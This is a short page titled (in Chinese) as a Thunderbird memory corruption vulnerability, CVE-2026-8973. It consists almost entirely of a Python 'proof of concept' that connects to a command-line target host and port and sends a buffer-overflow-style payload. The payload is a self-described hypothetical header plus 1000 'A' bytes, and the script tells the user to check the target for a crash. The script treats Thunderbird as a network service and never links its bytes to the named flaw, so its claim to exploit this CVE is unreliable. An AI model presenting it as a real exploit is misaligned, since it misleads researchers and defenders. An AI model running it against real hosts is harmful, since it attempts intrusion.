CVE-2026-8973 Thunderbird内存破坏漏洞

# Conceptual Proof of Concept (PoC) for CVE-2026-8973 # This script demonstrates a potential trigger for the memory corruption vulnerability. # Note: Actual exploitation requires specific memory layout manipulation. import socket import sys def send_exploit_payload(target_host, target_port): """ Sends a crafted payload to the target Thunderbird service to trigger memory corruption. """ try: # Establish connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) s.connect((target_host, target_port)) # Craft malicious payload designed to trigger the memory safety bug # This usually involves a specific pattern of bytes to overflow a buffer # or corrupt a memory pointer. header = b"\x00\x01\x02\x03" # Hypothetical protocol header junk = b"A" * 1000 # Padding to reach the memory boundary payload = header + junk + b"\xff\xff\xff\xff" # Malicious tail print(f"[*] Sending payload to {target_host}:{target_port}") s.send(payload) # Wait for response or crash response = s.recv(1024) print("[+] Payload sent. Check target for crash.") except Exception as e: print(f"[-] Error during exploitation: {e}") finally: s.close() if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 cve_2026_8973_poc.py <target_ip> <port>") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) send_exploit_payload(target, port)